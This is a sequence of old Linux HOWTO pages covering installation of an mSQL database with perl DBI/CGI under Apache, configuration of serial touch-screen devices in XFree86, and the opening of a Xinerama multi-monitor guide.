Structured Query Language is a language for manipulating data in relational databases. It has a very simple grammar and is a standard with wide industry support. SQL-based databases have become the core of the classical client/server database concept. There are many famous SQL systems available, like Oracle, Informix etc., and then there is also msql which comes with a very low or even zero price tag if it is used in academical and educational environments.

CGI

Common Gateway Interface is the programming interface between the system holding the data (in our case an SQL-based system) and the network protocol (HTML, of course). CGIs can be built around many programming languages, but a particularly popular language is perl.

perl

is an extremely powerful scripting language which combines all merits of C, various shell languages, and stream manipulation languages like awk and sed. Perl has a lot of modularized interfaces and can be used to control SQL databases, for example.


A mSQL and perl Web Server Mini HOWTO: Installation Procedure

 Next Previous Contents

3. Installation Procedure

3.1 Hardware Requirements

No general statement can be made about the hardware requirements of a database server. Too much depends on the expected number of users, the kind of application, the network load etc. In a small environment with only a few users and little network traffic a i486-equivalent machine with 16 MB of RAM can be completely sufficient. Linux, the operating system, is very efficient in terms of resources, and can supply enough horse-power for running a broad variety of applications at the same time. Of course, faster processors and more RAM mean more speed, but much more important than the processor is the amount of RAM. The more RAM the system has the less it is forced to swap memory intensive processes to disk in case a bottleneck occurs.

Given anything like 32 MB RAM and a PCI bus, searches and sorting operations can be done without much resorting to swap files etc., resulting in lightening fast speed.

The model installation described in this article was made on a IBM 686 (133Mhz) with 32 MB RAM and a 1.2 GB IDE hard disk. Assuming that the installation process starts from scratch, here is a list of the necessary steps.

3.2 Software Requirements

The software described in this article is available from the Internet or from CD-ROM. The following products were used:

  • Red Hat Linux PowerTools: 6 CD's Complete Easy-to-Use Red Hat 4.2, Summer '97; alternatively from http://www.redhat.com;
  • msql SQL database server: it is now available in two versions. The versions have differences in the number of transactions they can handle, the administration interface, etc. The elder version, 1.0.16, is available from Sunsite mirrors. The ELF executable can be found at sunsite:apps/database/sql/msql-1.0.16 or on CD-ROM (here: disc 4 of InfoMagic Linux Developer's Resource, 6-CD set, December 1996) or alternatively from the following URL: http://www.infomagic.com. The newer version, 2.0.1, can be directly obtained from Hughes' homepage in Australia (http://www.hughes.com.au) or from numerous mirror sites around the world;
  • perl from CPAN: The Comprehensive Perl Archive Network. Walnut Creek CDROM, ISBN 1-57176-077-6, May 1997;
  • Michael Schilli's CGI example program from computer journal iX 8/1997, pages 150--152, available via ftp from ftp.uni-paderborn.de:/doc/magazin/iX;

3.3 Installing the Operating System

Linux is installed in form of the Red Hat Linux Distribution 4.2. In order to install successfully, the machine must either have a DOS-accessible CD-ROM drive, a bootable CD-ROM drive, or else a boot disk must be made following the instructions on the Linux CD.

During installation the user has the choice to select and configure numerous software packages. It is convenient to select the following items now:

  • TCP/IP network support,
  • the http server Apache, and
  • the scripting language perl, and
  • the X Window System, as well as
  • the browsers Arena (graphical) and Lynx (text-based).

All these packages are provided with the Linux distribution. If you do not install these packages now you still have the chance to do this later with the assistance of glint, the graphical and intuitive software package installation manager. Be sure to be root when installing these packages.

It is beyond the scope of this article to describe the network installation and initialization procedure. Please consult the online (manpages, HTML, texinfo) and printed (Linux Bible, etc. etc.) documentation.

The installation procedure of Red Hat is very mature and requires only little user attention besides the usual choices (like providing host names, etc.). Once the installation ends successfully, the system is basically ready to go.

Installing the X Window System is not mandatory for a pure server but it makes local access and testing much easier. The X installation procedure is done by any of several programs; XF86Setup offers the most extensive self-testing facilities and needs the least handling of hairy details (like video clock programming, etc.). The only requirement is that the software can detect the video adapter. A cheap accelerated graphics adapter (like Trio S64 based cards prior to S64UV+) usually works ``out of the box''.

At this point we assume that our system is up and running and that Apache, Perl and the X Window System have been successfully installed. We further assume that all standard structures like the file and directory structure are kept as they are defined in the installation. Last but not least we leave the host name as it is, and do at this moment accept the name localhost. We'll use this name for testing the installation; once the whole system works the true name can be added. Please note that the network setup also requires editing the files /etc/hosts, among others. Ideally this should be done with the administration tools provided to user root.

3.4 The http Server

The http server supplied with Linux is known as Apache to humans and as httpd to the system. The manpage (man httpd) explains how to install and start the http daemon (hence httpd) but, as mentioned, if the installation went without problems then the server should be running. You can verify the directory tree: there must be a directory /home/httpd/ with three subdirectories: ../cgi-bin/, ../html/ and ../icons/. In ../html/ there must be a file index.html. Later we will manipulate or replace this file by our own index.html. All configuration information is stored in/etc/httpd/conf/. The system is well preconfigured and does not need further setup provided the installation went without error.

3.5 The Browsers

There are essentially three types of browsers available for Linux: pure text-based systems like Lynx, experimental and simple ones like Arena (free!) and commercial ones like Netscape (shareware!) with Java support. While Lynx and Arena come with Linux, Netscape must be procured from other sources. Netscape is available as a precombiled binary for Linux on ix86 architectures and will run ``out of the box'' as soon as the archive is unpacked.

Configuring Lynx

Once Lynx is started it will look for a `default URL' which is usually not very meaningful if the system does not have permanent Internet access. In order to change the default URL (and lots of other configuration details) the system administrator should edit /usr/lib/lynx.cfg. The file is big, around 57000 bytes and contains occasionally contradicting information. It states its own home as /usr/local/lib/. Not far from top is a line beginning with STARTFILE. We replace this line by the following entry: STARTFILE:http://localhost and make sure that no spacing etc. is inserted:

# STARTFILE:http://www.nyu.edu/pages/wsn/subir/lynx.html
STARTFILE:http://localhost
After saving the file, Lynx should now reveal our index.html document if started without arguments.

Configuring Arena

Arena first looks for its own default URL when started without arguments. This URL is hard-wired into the executable but can be overrun by the environment variable WWW_HOME. The system administrator can place a line saying WWW_HOME="http://localhost" in /etc/profile. The variable must then be exported, either by a separate statement (export WWW_HOME) or by appending WWW_HOME to the existing export statement:

WWW_HOME="http://localhost"
export WWW_HOME
After relaunching a login shell, the new default URL is now system-wide known to Arena.

Installing and Configuring Netscape

Netscape is a commercial product and thus not included with the Linux distributions. It is either downloadable from the Internet or available from software collections on CDROM. Netscape comes in form of precompiled binaries for every important hardware platform. For installation purposes, it is useful to create a directory /usr/local/Netscape/ where the archive is unpacked. The files can be kept in place (except for the Java library: follow the instructions in the README file that comes with the Netscape binary), and it is sufficient to create a soft link in /usr/local/bin/ by issuing the command

# ln -s /usr/local/Netscape/netscape .
from within /usr/local/bin/.

Netscape is now ready for use and can be configured via the ``Options'' menu. In ``General Preferences'' there is a card ``Appearance'' with the entry ``Home Page Location''. Enter http://localhost here and do not forget to save the options (via ``Options'' --- ``Save Options'') before exiting Netscape. At the next startup, Netscape will now show the Apache `homepage'.

3.6 Cooperation of Apache and Browsers

You can now conduct the first real test of both the browser and the http server: simply start any of the available browsers and the Apache: Red Hat Linux Web Server page will pop up. This page shows the file locations and other basics of http server installation. If this page is not displayed please check whether the files mentioned above are in place and whether the browser configuration is correct. Close edited configuration files before you start the browser again. If all files are in place and the browsers seem to be configured correctly then examine the network setup of your machine. Either the host name is different from what was entered in the configuration, or the network setup as such is not correct. It is utterly important that /etc/hosts contains at least a line like

127.0.0.1               localhost localhost.localdomain
which implies that you can connect locally to your machine. One can verify this by issuing any network-sensitive command requiring a host name as argument, like telnet localhost (provided telnet is installed). If that does not work then the network setup must be verified before continuing with the main task.

3.7 The Database Engine and its Installation

Installing the database requires only little more preparation than the previous installation steps. There are a few SQL database engines available with different runtime and administrative requirements, and possibly one of the most straightforward systems is msql, or ``Mini-SQL'' by David Hughes. msql is shareware. Depending on the version used, commercial sites are charged USD 250.00 and more, private users are charged USD 65.00 and more, and only educational institutions and registered non-profit organizations can use this software free of charge. Please note that the exact figures are provided in the licence notes of the database documentation. The figures given here serve as a rough indicator only.

A few words are in place here why the author chose msql. First of all, there is personal experience. While searching for a database engine the author found msql to be about the easiest to install and maintain, and it provides enough coverage of the SQL language to meet general needs. Only when writing these lines, the author discovered the following words of praise in Alligator Descartes' DBI FAQ (perl database interface FAQ):

From the current author's point of view, if the dataset is relatively small, being tables of less than 1 million rows, and less than 1000 tables in a given database, then mSQL is a perfectly acceptable solution to your problem. This database is extremely cheap, is wonderfully robust and has excellent support. [...]

Msql is available in two versions now, msql-1.0.16 and msql-2.0.1, which differ in performance (not noticeable in small scale projects) and accompanying software (the newer version comes with more tools, its own scripting language, etc.). We will describe both versions of msql since their installion differs in a few points.

Installing msql-1.0.16

msql is available as source and as compiled executable with ELF support. Using the ELF binaries makes installation easy since the archive file msql-1.0.16.ELF.tgz contains a complete absolute directory tree so that all directories are generated properly when unpacked from /.

If you decide to compile msql-1.0.16 yourself and are going to use the MsqlPerl package rather than the DBI interface (see a detailed discussion on the difference between these two further down) then be prepared that MsqlPerl might complain during the test suites that some instruction inside msql failed. In this case a patch may be necessary which is described in the MsqlPerl documentation (file patch.lost.tables). Notably, this demands including three lines in msqldb.c after line 1400 which says entry->def = NULL;:

        *(entry->DB) = 0;
        *(entry->table) = 0;
        entry->age = 0;
The code fragment should now look like
        freeTableDef(entry->def);
        safeFree(entry->rowBuf);
        safeFree(entry->keyBuf);
        entry->def = NULL;
        *(entry->DB) = 0;
        *(entry->table) = 0;
        entry->age = 0;

Compiling msql involves several steps. After unpacking the source archive, it is necessary to build a target directory. This is done by saying

# make target
If successful, the system will then answer with
Build of target directory for Linux-2.0.30-i486 complete
You must now change into this newly created directory and run a
# ./setup
command first. The ./ sequence is necessary to make sure that really the command setup in this directory and not another command which happens to have the same name is executed. You will then be asked questions on the location of the source directory and whether a root installation is desired. These questions answered, the system should then run a number of tests checking for available software (compilers, utilities etc.) and finally say
Ready to build mSQL.

You may wish to check "common/site.h" although the defaults should be
fine.  When you're ready, type  "make all" to build the software
We say
# make all
If everything went as intended, we'll read:
make[2]: Leaving directory `/usr/local/Minerva/src/msql'
<-- [msql] done

Make of mSQL complete.
You should now mSQL using make install

NOTE : mSQL cannot be used free of charge at commercial sites.
       Please read the doc/License file to see what you have to do.

make[1]: Leaving directory `/usr/local/Minerva/src'

All binaries must then be made visible to the search paths by creating soft links in /usr/local/bin/. Change to that directory and issue the command

# ln -s /usr/local/Minerva/bin/* .
after which the links will be properly set.

Testing msql-1

After the installation it is now possible to test whether the database works. Before anything else is done, the server daemon must be started. The system administrator holding root privileges issues the command

# msqld &
(do not forget to add the &, otherwise msql won't run in the background.) after which the following screen message appears:
mSQL Server 1.0.16 starting ...

Warning : Couldn't open ACL file: No such file or directory
Without an ACL file global access is Read/Write

This message tells us that everything so far worked since we did not set up any access restrictions. For the moment it is sufficient to start the msql daemon from within a shell but later we may want to have the system startup automatically execute this command for us. The command must then be mentioned in a suitable rc.d script. Only now the administrator can issue the first genuine database command:

# msqladmin create inventur
msql replies by saying Database "inventur" created.. As a further proof, we find that the directory /usr/local/Minerva/msqldb/ contains now the empty subdirectory ../inventur/. We could manipulate the newly created database with the administration tools; these procedures are all covered in detail in the msql documentation.

Installing msql-2.0.1

There is now a newer, more powerful version of Hughes' mSQL server available the installation of which is different in a few points. Installing msql-2 from scratch involves the following steps. Copy the archive to your extraction point, e. g. /usr/local/msql-2/, then untar the archive:

# tar xfvz msql-2.0.1.tar.gz

Change to the root direction of the install tree and issue a

# make target

Change to targets and look for your machine type. There should be a new subdirectory Linux-(your version)-(your cpu)/. Change to that directory and start the setup facility located here:

# ./setup

There is also a file site.mm which can be edited. Maybe you have got used to the directory name /usr/local/Minerva/ and want to preserve it? In this case change the INST_DIR=... line to your desired target directory. Otherwise, leave everything as it is.

Now you can start building the database:

# make
# make install

If everything went successfully, we'll see a message like:

[...]

Installation of mSQL-2 complete.

*********
**   This is the commercial, production release of mSQL-2.0
**   Please see the README file in the top directory of the
**   distribution for license information.
*********

After all is installed properly we have to take care of the administration details. Here, the real differences from msql-1 begin. First, a user msql is created which is responsible for database administration.

# adduser msql

Then we have to change all ownerships in the mSQL directory to msql by saying:

# cd /usr/local/Minerva
# chown -R msql:msql *

Then we create soft links for all database binaries in /usr/local/bin/ by saying:

# ln -s /usr/local/Minerva/bin/* .

Testing msql-2

We can now start the database server by issuing the command msql2d & and should get a response similar to this one:

Mini SQL Version 2.0.1
Copyright (c) 1993-4 David J. Hughes
Copyright (c) 1995-7 Hughes Technologies Pty. Ltd.
All rights reserved.

        Loading configuration from '/usr/local/Minerva/msql.conf'.
        Server process reconfigured to accept 214 connections.
        Server running as user 'msql'.
        Server mode is Read/Write.

Warning : No ACL file.  Using global read/write access.

That looks perfect. The database is compiled and in place, and we can now continue with the perl modules since these rely partially on the presence of a working database server for testing.

Accidentally, this is also a good moment to print the complete manual that comes with msql-2.0.1:

# gzip -d manual.ps.gz
# lpr manual.ps

We can proceed to building the interfaces now, but it is a good idea to keep the newly created SQL server up and running since that makes testing the interface libraries somewhat simpler.

3.8 Choice of Interfaces: DBI/mSQL, MsqlPerl, and Lite

A frequently quoted saying in the Camel Book (the authorative perl documentation) states that there is more than one way to achieve a result when using perl. This, alas, holds true for our model application, too. Basically there are three ways to access an msql database via CGI. First of all the question is whether or not perl shall be used. If we use perl (on which this article focuses) then we still have the choice between two completely different interface models. Besides using perl, we can also employ msql's own scripting language, called Lite, which is reasonably simple and a close clone of C.

DBI and DBD-mSQL

By the time of this writing, using perl's generic database interface called DBI is the method of choice. DBI has a few advantages: It provides unified access control to a number of commercial databases with a single command set. The actual database in use on a given system is then contacted through a driver which effectively hides the pecularities of that database from the programmer. Being such, using DBI provides for a smooth transition between different databases by different makers. In one single script it is even possible to contact several different databases. Please refer to the DBI-FAQ for details. There is, however, one drawback: The DBI interface is still under development and shows rapidly galloping version numbers (sometimes with updates taking place within less than a month). Similarly, the individual database drivers are also frequently updated and may rely on specific versions of the database interface. Users making first-time installations should stick to the version numbers given in this article since other versions may cause compilation and testing problems the trouble shooting of which is nothing for the faint-hearted.

MsqlPerl

MsqlPerl is a library for directly accessing msql from perl scripts. It bypasses the DBI interface and is fairly compact. Though it works fine with both versions of msql, its usage is not promoted anymore in favour of the generalized DBI interface. Nonetheless, in a given installation it may prove to be the interface of choice since it is small and easy to install. Notably, it has less version dependencies than revealed by the interaction of DBI and particular database drivers.

msql's own scripting language: Lite

Last but not least msql-2 comes with its own scripting language: Lite. The language is a close relative of C stripped of its oddities with additional shell-like features (in a way, something like a very specialized version of perl). Lite is a simple language and is well documented in the msql-2 manual. The msql-2 package also comes with a sample application sporting Lite.

We will not describe Lite here because it is well documented but fairly specific to msql-2, and because it is assumed that the readers of this article have a basic interest in and a basic understanding of perl. Nonetheless it is highly recommended to have a closer look at Lite: it may well be the case that Lite offers the solution of choice in an exclusive msql-2 environment (implying no other databases are involved) due to its simplicity and straightforward concept.

3.9 Going the generic way: DBI and DBD-msql

We assume that perl was installed during the system setup or via the package manager mentioned above. No further details will be given here. Nonetheless we first test whether our version of perl is up to date:

# perl -v

perl should respond with the following message:

This is perl, version 5.003 with EMBED
        Locally applied patches:
          SUIDBUF - Buffer overflow fixes for suidperl security

        built under linux at Apr 22 1997 10:04:46
        + two suidperl security patches

Copyright 1987-1996, Larry Wall
[...]
So far, everything is fine. The next step includes installing the perl libraries for databases in general (DBI), the msql driver (DBD-mSQL) and CGI. The CGI driver is necessary in any case. The following archives are necessary:
  1. DBI-0.81.tar.gz
  2. DBD-mSQL-0.65.tar.gz
  3. CGI.pm-2.31.tar.gz (or higher)

A caveat is necessary here for beginners: the test installation described here works fine using software with exactly these version numbers, and combinations of other versions failed in one or the other way. Debugging flawed version combinations is nothing for those who are not very familiar with the intimate details of the calling conventions etc. of the interfaces. Sometimes only a method is renamed while performing the same task, but sometimes the internal structure changes significantly. So, again, stick with these version numbers if you want to be on the safe side even if you discover that version numbers have increased in the meantime. Frequent updates of these interfaces are the rule rather than the exception, so you should really anticipate problems when installing other versions than those indicated here.

It is very important that the database driver for mSQL (DBD-mSQL) is installed after the generic interface DBI.

We start by creating the directory /usr/local/PerlModules/ as it is very important to keep the original perl directory tree untouched. We could also choose a different directory name since the name is completely uncritical, and unfortunately that is not really mentioned in the README files of the verious perl modules. Having copied the above-mentioned archives to /usr/local/PerlModules/ we unpack them saying

# tar xzvf [archive-file]

for every single of the three archives. Do not forget to supply the real archive name to tar. The installation process for the three modules is essentially stardardized; only the screen messages showing important steps of individual packages are reproduced here.

Installing perl's Database Interface DBI

The database interface must always be installed before installing the specific database driver. Unpacking the DBI archive creates the directory /usr/local/PerlModules/DBI-0.81/. Change to that directory. There are a README file (you should read it) and a perl-specific makefile. Now issue the command

# perl Makefile.PL

The system should answer with a lengthy message of which the most important part is shown here::

[...]
MakeMaker (v5.34)
Checking if your kit is complete...
Looks good
        NAME => q[DBI]
        PREREQ_PM => {  }
        VERSION_FROM => q[DBI.pm]
        clean => { FILES=>q[$(DISTVNAME)/] }
        dist => { DIST_DEFAULT=>q[clean distcheck disttest [...]
Using PERL=/usr/bin/perl

WARNING! By default new modules are installed into your 'site_lib'
directories. Since site_lib directories come after the normal library
directories you MUST delete old DBI files and directories from your
'privlib' and 'archlib' directories and their auto subdirectories.

Writing Makefile for DBI
This looks good, as the program says, and we can proceed with the next step:
# make
If no error message occurs (the detailed protocol dumped on screen is not an error message) we test the newly installed library with the command
# make test
Watch the output for the following lines (you can always scroll back with [Shift]-[PgUp]):
[...]
t/basics............ok
t/dbidrv............ok
t/examp.............ok
All tests successful.
[...]
DBI test application $Revision: 1.20 $
Switch: DBI-0.81 Switch by Tim Bunce, 0.81
Available Drivers: ExampleP, NullP, Sponge
ExampleP: testing 2 sets of 5 connections:
Connecting... 1 2 3 4 5
Disconnecting...
Connecting... 1 2 3 4 5
Disconnecting...
Made 10 connections in  0 secs ( 0.00 usr  0.00 sys =  0.00 cpu)

test.pl done
The final step is to install all files in their proper directories. The following command will take care of it:
# make install
No more duties are left. If for some reason the installation failed and you want to redo it do not forget to issue
# make realclean
first. This will remove stale leftovers of the previous installation. You can also remove the files which were installed by copying the screen contents (shown abbreviated)
Installing /usr/lib/perl5/site_perl/i386-linux/./auto/DBI/DBIXS.h
Installing /usr/lib/perl5/site_perl/i386-linux/./auto/DBI/DBI.so
Installing /usr/lib/perl5/site_perl/i386-linux/./auto/DBI/DBI.bs
[...]
Writing /usr/lib/perl5/site_perl/i386-linux/auto/DBI/.packlist
Appending installation info to /usr/lib/perl5/i386-linux/5.003/perllocal.pod
into a file, replacing every Installing with rm. Provided you named the file uninstall you can then say
# . uninstall
which will remove the recently installed files.

perl's msql Driver DBD-mSQL

The msql driver can only be installed after a successful installation of perl's generic database interface.

The basic steps are the same as above; so first go through

# perl Makefile.PL

Here, the system should answer with an urgent warning to read the accompanying documentation. It will then detect where msql resides, and asks which version you use:

$MSQL_HOME not defined. Searching for mSQL...
Using mSQL in /usr/local/Hughes

 -> Which version of mSQL are you using [1/2]?
State your correct version number. Quite a few lines of text will follow. Watch for the following ones:
Splendid! Your mSQL daemon is running. We can auto-detect your configuration!

I've auto-detected your configuration to be running on port: 1114

You can now test the driver by saying

# make test
Again, a lengthy output follows. If it ends with
Testing: $cursor->func( '_ListSelectedFields' ). This will fail.
        ok: not a SELECT in msqlListSelectedFields!
Re-testing: $dbh->do( 'DROP TABLE testaa' )
        ok
*** Testing of DBD::mSQL complete! You appear to be normal! ***
you are on the safe side of life and can install your driver by saying
# make install
You are now ready to go and can skip the next paragraph.

3.10 The MsqlPerl Interface

If you decide to use the exclusive MsqlPerl interface then no generic database driver is needed, only MsqlPerl-1.15.tar.gz, since, as mentioned earlier, MsqlPerl provides a direct interface between perl and the database server without using the DBI interface. Installing and testing is straightforward.

After saying perl Makefile.PL the make utility can be started. First you have to answer the question where mSQL resides. If it resides in /usr/local/Minerva/ the default answer can be confirmed.

Then do a make test. Before doing so you must ensure that you have a database named test and that you have read and write permissions for it. This can be done by

# msqladmin create test

3.11 perl's CGI library

Installing perl's CGI part is the simpliest of the three steps. Execute the following commands in the given order and everything is done:

# perl Makefile.PL
# make
# make install

Unlike the previous drivers this interface does not have a test option (# make test) whereas the other modules should be tested in any case.

A subdirectory with CGI example scripts is also created. You can copy the contents of this directory into /home/http/cgi-bin/ and use the browser to experiment with the scripts.

3.12 Installation Checklist

We went through the following steps, in this order:

  1. Install Linux with networking support
  2. Install a http server, e. g. Apache
  3. Install a browser, e. g. Arena, lynx or Netscape
  4. Install an SQL server, e. g. msql
  5. Install a suitable perl SQL interface
  6. Install the CGI files

Finally, you can do some clean-up. All source trees for msql and the perl modules can be safely deleted (however, you should not delete your archive files!) since the binaries and documentation are now based in different directories.


A mSQL and perl Web Server Mini HOWTO: Running an Example Database

 Next Previous Contents

4. Running an Example Database

After completing the system installation we can now finally run a model application. Depending on the version of msql installed and the perl database interface used, we have to modify the sample programs in a few points.

First however, the file index.html residing in /home/httpd/html/ must be modified to allow calling a sample database application. We can place our database (which we call database.cgi or inventur.cgi here despite its archive name perl.lst.ck) in /home/httpd/html/test/.

We add one line (of course, depending on your installation choices) similar to the following to index.html:

<LI>Test the <A HREF="test/database.cgi">Database, DBI:DBD-mSQL style!</A>
<LI>Test the <A HREF="test/inventur.cgi">Database, MsqlPerl style!</A>
Usually you should only pick one of these two choices but if you have both types of database interface installed you can leave both lines here as they are. You can then compare performance, etc.

4.1 Adapting the sample script for MsqlPerl

Our sample script has to be told to use the MsqlPerl interface. The modification takes place in several locations. First, near the beginning of the file, we change the use clause:

#
# use DBI;            # Generisches Datenbank-Interface
use Msql;

Then, near line 27, the MsqlPerl syntax does not require the mentioning of a specific driver:

# $dbh = DBI->connect($host, $database, '', $driver) ||
$dbh = Msql->connect($host, $database) ||

Then, from line 33 onward throughout the whole script, we have to change all instances of do against query:

# $dbh->do("SELECT * FROM hw") || db_init($dbh);
$dbh->query("SELECT * FROM hw") || db_init($dbh);

Finally, in MsqlPerl speak, line 207 can be commented out:

# $sth->execute || msg("SQL Error:", $sth->errstr);

In addition, it may become necessary to swap all errstr calls like the one in the preceding code fragment against errmsg. This is also version dependent.

After these modifications, the script should run smoothly.

4.2 Adapting the sample script for msql-2

The SQL syntax was redefined during the development of mslq-2. The original script will fail to execute the table initialization statements in lines 45 -- 58. The primary key modifier is no longer supported by msql-2, and should simply be skipped:

    $dbh->do(<<EOT) || die $dbh->errstr; # Neue Personen-Tabelle
        create table person (
# We do not need the 'primary key' modifier anymore in msql-2!
#           pn        int primary key,   # Personalnummer
            pn        int,               # Personalnummer
            name      char(80),          # Nachname, Vorname
            raum      int                # Raumnummer
        )
EOT
    $dbh->do(<<EOT) || die $dbh->errstr; # Neue Hardware-Tabelle
        create table hw (
# We do not need the 'primary key' modifier anymore in msql-2!
#           asset int primary key,       # Inventurnummer
            asset int,                   # Inventurnummer
            name   char(80),             # Bezeichnung
            person int                   # Besitzer
        )
EOT

Unfortunately, this specific script will then accept new entries with identical personnel numbers; the msql-1 modifier primary key intends to prevent exactly this behaviour. The msql-2 documentation shows how to use the CREATE INDEX clause to create unique entries.


A mSQL and perl Web Server Mini HOWTO: Conclusion and Outlook

 Next Previous Contents

5. Conclusion and Outlook

If you have installed msql-2 on your system then you can have a look at the sample programs written in Lite, msql-2's own scripting language.

Either version of msql comes with a basic set of administration tools which allow the user to create and drop tables (msqladmin) and examine database structures (relshow).

The second generation msql (i.e. msql-2) has a few more genuinely useful utilities: msqlimport and msqlexport. These allow the dumping of flat line data files into and out of the SQL database. They can be used for loading quantities of existing data d'un coup into existing tables, or extract flat data from tables, and the user does not have to deal with writing a single line of perl or SQL or whatever code for this task.

If you want to write your own perl scripts dealing with databases you'll find sufficient support in the example files and the extensive on-line documentation that comes with the DBI module.

Anyway, you are now ready to go and present your data to the users of your own network, or even the WWW.


Linux Touch Screen HOWTO

(c) 2002 by Christoph Baumann, cgb@debian.org

v2.1, Jan 11, 2002

This document describes how to set up a touch screen input device under XFree86. As the author had only the opportunity to work with devices from EloTouch(R) and MicroTouch(R) this HOWTO is rather specific for these devices.

The GNU Free Documentation License applies to this document.

1. Which sort of devices are described here?

2. How to configure the device

3. Activating the device

4. Using touch screen and mouse in parallel

5. Configuration under XFree86 4

6. Suggested reading


Linux Touch Screen HOWTO: Which sort of devices are described here?

 Next Previous Contents

1. Which sort of devices are described here?

This HOWTO concentrates on devices connected via the serial port i.e. /dev/ttyS0 or /dev/ttyS1.


Linux Touch Screen HOWTO: How to configure the device

 Next Previous Contents

2. How to configure the device

Touch screen devices are configured in the Xinput section in the XF86Config file (mostly /etc/X11/XF86Config or /etc/XF86Config). At first verify that the device driver modules exist. They are located in /usr/X11R6/lib/modules/ (the modules for the above mentioned devices are xf86Elo.so and xf86MuTouch.so). Now have a look into XF86Config. There should be a section looking like this:

Section "Files"
...
ModulePath "/usr/X11R6/lib/modules"
...
EndSection

To get the module loaded by the X server there has to be a section like this:

Section "Module"
Load "xf86Elo.so"
EndSection

Now the more tricky part. X needs to know some parameters about the device. The section for this looks like this (see "man XF86Config" for more details):

Section "Xinput"
 SubSection "Elographics"
#the entry for a MicroTouch device would be SubSection "MicrotouchFinger"
  Port "/dev/ttyS1" # for a device at serial port 2
  DeviceName "TouchScreen" #could be any unambiguous name
  MinimumXPosition 300
  MaximumXPosition 3700
  MinimumYPosition 300
  MaximumYPosition 3700
  UntouchDelay 10 #not supported with MuTouch
  ReportDelay 10  #not supported with MuTouch
  AlwaysCore #activates the device on startup
 EndSubSection
EndSection

The values for the entries MinimumXPosition etc. are of course specific for the setup of the hardware (i.e. depend on the position of the touch screen relative to the monitor). The values determine where the points (0,0) and (xmax,ymax) on your monitor (xmax and ymax depend on the resolution chosen for the Xserver, such as 1024x768) are mapped on the touch screen. The device driver reads these values and interpolishes the other coordinates. For illustration:

 --------------touch screen area-----------------
 I                                              I
 I  ########visible monitor area##############  I
 I  #x                                       #  I
 I  # (0,0)                                  #  I
 I  # (MinimumXPosition,MinimumYPosition)    #  I
 I  #                                        #  I
 I  #                                        #  I
 I  #                                        #  I
 I  #                                        #  I
 I  #                                        #  I
 I  #                                        #  I
 I  #                                        #  I
 I  #     (MaximumXPosition,MaximumYPosition)#  I
 I  #                             (xmax,ymax)#  I
 I  #                                       x#  I
 I  ##########################################  I
 I                                              I
 ------------------------------------------------

This mapping can be done by trial and error or by reading the raw output of the device (needs some serial port programming, see "The Linux Serial Programming HOWTO"). For the types EloTouch and MicroTouch exists a rudimentary calibration tool (written by the author of this document, it can be found at ftp://metalab.unc.edu/pub/linux/X11/xutils/touchcal-0.1.tar.gz).


Linux Touch Screen HOWTO: Activating the device

 Next Previous Contents

3. Activating the device

After starting X, type in an Xterminal the command

xsetpointer <devicename>

where<devicename> is the name defined in XF86Config with the line DeviceName ".....", in this example it would be TouchScreen.

To get the device working on startup use the AlwaysCore option in the touch screen section (see above)


Linux Touch Screen HOWTO: Using touch screen and mouse in parallel

 Next Previous Contents

4. Using touch screen and mouse in parallel

To use the touch screen and a mouse in parallel you need to enter the mouse specs in the Xinput-section. This definitions should be the same as in the Pointer-section. The following example is for a PS/2-mouse:

Section "Xinput"
   SubSection "Mouse"
      Protocol "PS/2"
      Port "/dev/mouse" #could also be /dev/psaux
      DeviceName "Mouse"
      AlwaysCore
   EndSubSection
...
EndSection
Several people pointed this out, especially the usage of the AlwaysCore option. Thanks to them all.


Linux Touch Screen HOWTO: Configuration under XFree86 4

 Next Previous Contents

5. Configuration under XFree86 4

(from Lee Monamy)

Example XF86Config-4 for an ELO touch screen:

Section "InputDevice"
        Identifier "ELO touchscreen"
        Driver "elographics"
        Option  "Device"        "/dev/ttyS0"
        Option  "MinimumXPosition"      "300"
        Option  "MaximumXPosition"      "3700"
        Option  "MinimumYPosition"      "300"
        Option  "MaximumYPosition"      "3700"
        Option  "UntouchDelay"  "10"
        Option  "ReportDelay"   "10"
        Option  "SendCoreEvents"        "yes"
EndSection

Noteable differences between this and the version 3 config are that you specify a Device, *not* a Port, otherwise you get an error. Also, AlwaysCore from v3 has been replaced with SendCoreEvents.

You must also add to the ServerLayout section, despite that X might say: "(II) XINPUT: Adding extended input device "TOUCHSCREEN" (type: Elographics Touch Screen)"

Section "ServerLayout"
        Identifier      "Default Layout"
        Screen  "Default Screen"
        InputDevice "Generic Keyboard"
...
        InputDevice "ELO touchscreen"
EndSection


Linux Touch Screen HOWTO: Suggested reading

 Next Previous Contents

6. Suggested reading

  • Manpage for XF86Config
  • http://www.elotouch.com/Support/linux.asp
  • http://www.microtouch.com/mthtml/05a1_drivers.htm
  • http://www.hof-berlin.de/tablet/tablet.html (Thanks to Christer Olofsson for sending me this URL)
  • The manual shipped with your touch screen :-)


Using the Xinerama Extensions to MultiHead XFree86 V. 4.0+

Dennis Baker drbaker@softhome.net

v2.0 Revised November 2, 2000

This document describes how to configure XFree86 Version 4.0+ with Multiple monitors and the Xinerama extentions.

1. Introduction

  • 1.1 What is Xinerama?
  • 1.2 Guidelines

2. Planning

  • 2.1 What you need
  • 2.2 Design considerations
  • 2.3 Layout

3. Video Card set up.

4. Scan the PCI Bus

5. Editing your XConfig File

  • 5.1 Adding all of your video cards
  • 5.2 Identifying Your Video Cards
  • 5.3 Configuring the ServerLayout Section

6. Testing Your Configuration

7. Editing your startup files

8. Window Managers and Xinerama

  • 8.1 Enlightenment
  • 8.2 Sawfish

9. Sample XF86Config Files

10. Credits


Using the Xinerama Extensions to MultiHead XFree86 V. 4.0+: Introduction

 Next Previous Contents

1. IntroductionMany changes made based input from Nico Schottelius nicos@pcsystems.de

1.1 What is Xinerama?

Why do you need Xinerama ? And what is it ? The Xinerama extensions were introduced to the XFree86 system in version 4.0. Xinerama is an extension to XFree86 Release 6 Version 4.0 (X4.0) which allows applications and window managers to use the two (or more) physical displays as one large virtual display.

The beauty of the Xinerama extensions is that they are totally transparent to user space. Previously, applications could only reside on one of the displays and could not be moved between the two. Window managers had to be specially written to support the two displays. With Xinerama, window managers and applications don't have to be specially written to support the larger "Virtual Desktop" which Xinerama creates.

1.2 Guidelines

This is not meant to be a guide on how to set up your specific monitor, or videocard. In fact, I assume that you already have X Window running for your setup. Please refer to the XF86 Documentation for more information.

As far as I know, there are no limits to which video cards you can configure this way, nor does it seem to matter if you mix different types of video cards in a setup, The sample configuration I use in this documentation uses two different video cards, an AGP Fire GL 1000 and a PCI Matrox Millenium II. What effect this has on 3d Accelleration I don't know as I don't currently accellerate either of my video cards.

